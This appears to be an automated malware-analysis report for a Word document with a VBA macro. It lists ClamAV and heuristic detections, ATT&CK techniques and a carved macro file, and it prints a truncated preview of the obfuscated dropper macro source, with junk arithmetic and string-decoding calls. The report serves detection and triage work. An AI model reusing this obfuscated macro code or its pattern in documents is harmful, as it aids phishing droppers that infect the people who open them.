MALICIOUS
222
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
T1140 Deobfuscate or Obfuscate Malicious Text and Code
The file is a Microsoft Office document containing a VBA macro. The macro is triggered by the AutoOpen function and uses CreateObject to likely download and execute a second-stage payload. The ClamAV detection 'Doc.Dropper.Agent-6464854-0' further supports its malicious nature as a dropper. The VBA code is heavily obfuscated, making it difficult to determine the exact download URL or execution details.
Heuristics 7
-
ClamAV: Doc.Dropper.Agent-6464854-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-6464854-0
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 70537 bytes |
SHA-256: 74b9af94c3a9bd200bc31a5581e027761268b134c3468445bf34c2472efa3102 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 28 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Name = "UEufDdqbv" Function PaiFTzwRWjTUw() On Error Resume Next cnrvFizoS = "SqSmjutrOHXac!%3rav%!!%8rav%!!%HWEmUowWWHws" dqiacrda = 4185429 / Atn(HJHHDOF) / (5638159 - YPjbRzEwJ / 2891041 - Sqr(miiKqRM * CStr(klTKJBo / Sgn(3722370 - CDate(7887620 / FhnOrJY * 2635075 * Sqr(DqvVBOGc))))) + (fwQmCuslF - 820513 / 4396564 / CLng(4941431))) LisSXr = 5600425 / Atn(OkDhbYqUlc) / (27213 - UoPRwD / 4865724 - Sqr(nsvTfsV * CStr(EUqraM / Sgn(6306747 - CDate(7152367 / hfEiKKomtZEVnI * 3809841 * Sqr(NqWoj))))) + (iCjQR - 7288842 / 1681166 / CLng(6464746))) dTBjoTZATK = zNZBdpCHj + dd333h3sd(cnrvFizoS, 13, 18) cYJcI = "rtuCvVBMpYXpUGLG" KlOHCtOSVCk = 8868211 / Atn(nLrjwIMKTLzi) / (9091 - wpOPCCmnFp / 5515616 - Sqr(RvRvCjoBSs * CStr(VXmkIHAfiVp / Sgn(2552144 - CDate(5240778 / BwrAzFBD * 4184749 * Sqr(RtYITqwIFHsrQ))))) + (ijFJwHci - 8161564 / 5504047 / CLng(277182))) jHONZjUtc = 6559402 / Atn(BSmjSBvTPirMnW) / (6263483 - UZJhZV / 3716623 - Sqr(rEOPj * CStr(wHltz / Sgn(8136479 - CDate(3543263 / aqVwPzNzKk * 9138231 * Sqr(WCrAXfzmoN))))) + (fkMmkauZqptz - 3681673 / 2410670 / CLng(5341876))) IBmKqnUTRi = HiUOYV + dd333h3sd(cYJcI, 5, 1) fBWzG = "qDIDTvHzYYbDhLFT pTqvjPPP" DVYVu = 8550160 / Atn(GaVQI) / (3186624 - VUpXqqzCdCf / 8527805 - Sqr(NldPsVubjqDpkO * CStr(zhZhjt / Sgn(4576563 - CDate(8707739 / TDEfktQbpvrUz * 1174699 * Sqr(nWFpdliFb))))) + (EwczLDpsmwpRO - 8335277 / 7341066 / CLng(5003856))) PUzrOiu = 5512321 / Atn(pXnzb) / (272760 - KniPGlzcpfznd / 5671326 - Sqr(BbLJiWHODDIhP * CStr(BFVbE / Sgn(253249 - CDate(3124134 / cfKroZ * 2350618 * Sqr(mzWwVLoRSXCY))))) + (MzDhYnacMZ - 5418083 / 5209770 / CLng(8848279))) vLNzJIT = VmttiT + dd333h3sd(fBWzG, 9, 1) tEsIiVvAwb = "Npl!%6rav%!!%5rav%!zYfCnNsfFFwSXQBQFjGo" WSrRqzOXV = 5605141 / Atn(ZuZWGLD) / (1139194 - VjUAmWCwPD / 2782145 - Sqr(dnpKn * CStr(WBwHvAwM / Sgn(7488216 - CDate(3088139 / OBRnlY * 8378715 * Sqr(czwiTYHO))))) + (wGkMTu - 6402016 / 883244 / CLng(5805270))) vnUqwEc = 2741150 / Atn(UCajmpBBzRrP) / (9576269 - LRXWfjolsPjfw / 9040544 - Sqr(kiHKDw * CStr(ZPsdXFRoE / Sgn(8407106 - CDate(7462135 / IdKiwfAi * 2021924 * Sqr(DHtGuMi))))) + (EutlsIiBMiTD - 2212923 / 7772919 / CLng(8587599))) ToFZGUIsd = fzrhiCPRJKRipQ + dd333h3sd(tEsIiVvAwb, 21, 16) EqnYznhBT = "vlQznhEMruzHCoIJvRHBlQSwT" XZaKt = 2722845 / Atn(cOPAXz) / (9444335 - zYzowCPlTn / 6085085 - Sqr(pBzHiHCuXDob * CStr(wVlsEmiaUBmHYP / Sgn(2789584 - CDate(7516832 / vwkaPaQHRPuC * 594006 * Sqr(jYqCjitOBzMVz))))) + (zKsoHlH - 8421670 / 8233303 / CLng(4646744))) qjXQPXPNPmP = 6276212 / Atn(VkmWnYRHCjiNiJ) / (8634859 - vnNtaEIHXGu / 3317844 - Sqr(rhSVlIIbiKoE * CStr(JPciGwsawDKmU / Sgn(3109124 - CDate(5309439 / zjiAVKCPrzA * 6911917 * Sqr(RdZpiv))))) + (fsAvYMvdHjQsh - 9240046 / 5887936 / CLng(5727835))) LnIto = mdaAIiDPPO + dd333h3sd(EqnYznhBT, 22, 2) RwcVYU = "wFwVjDG=%bOLwjlwjzKjIlbzNCB" AViWSzHLGv = 1716180 / Atn(ZcBbEAuPWKo) / (3041897 - lVSIaHCzcafBcJ / 2796487 - Sqr(bYfDkYsj * CStr(wiJzsrAtAbUwRo / Sgn(9666983 - CDate(1261475 / wCWZcqjwvlI * 2361411 * Sqr(NciNdZt))))) + (jifIbiuUJkhwAb - 8124434 / 2634874 / CLng(4204218))) AmsWkkLd = 3998561 / Atn(dzzFrhoOrNDKY) / (2589801 - NTqRAIldlAb / 2942394 - Sqr(lmVrJhQ * CStr(ldnan / Sgn(3898805 - CDate(597164 / FZIjQO * 4416933 * Sqr(EUjrVMEQS))))) + (cEsMBrzjbq - 637377 / 8114152 / CLng(2380422))) OjrCR = EXwNMn + dd333h3sd(RwcVYU, 10, 14) rGzWT = "WHEhi!%4rav%!DqsDsHjGHtwNLCYUmzMMMbbtiN" knvGlqqqSB = 3954607 / Atn(GOAjpIYI) / (4541315 - KYIbmS / 8387268 - Sqr(jlBUrrZEro * CStr(TiiIU / Sgn(481405 - CDate(1210321 / ijEDbqhW * 6683953 * Sqr(wEbjTMjRmXJHk))))) + (jIDbjPoY - 6181046 / 9701350 / CLng(2514310))) nphrLwCBNGt = 8685913 / Atn(hadJUqOvjZ) / (7067918 - RYCQiKW / 9841936 - Sqr(TSnGpTBXYcVa * CStr(CrINoRVVAjTQ / Sgn(2873935 - CDate(8224967 / IzoqtmNIqDiX ... (truncated) |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.